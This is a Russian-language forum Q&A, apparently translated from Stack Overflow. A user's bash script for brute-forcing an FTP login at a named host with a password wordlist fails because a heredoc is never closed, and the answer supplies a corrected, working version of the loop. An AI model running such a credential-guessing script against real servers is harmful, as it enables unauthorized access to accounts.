Скрипт Bash: ошибка, неожиданный конец файла

#bash #shell #ubuntu #sh

#bash #оболочка #ubuntu #sh

Вопрос:

Я пишу короткий скрипт bash, который принудительно запускает ftp-сервер, используя список паролей. Вот мой код:

 #!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

cat $filename | while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
done
  

Когда я запускаю свой скрипт, я получаю эту ошибку:

синтаксическая ошибка: неожиданный конец файла

Кто-нибудь может подсказать, почему я получаю эту ошибку, спасибо за любую помощь.

Комментарии:

1. Вы не закрыли heredoc

2. Всякий раз, когда у вас возникает ошибка сценария shell, хорошим первым шагом является вырезание и вставка вашего кода в shellcheck. очистите и исправьте ошибки (важные) и предупреждения (могут быть важными), которые он идентифицирует. Если у вас возникли проблемы с пониманием его сообщений, тогда подойдите сюда и спросите.

Ответ №1:

Вам необходимо завершить heredoc:

 #!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
EOF
done < "$filename"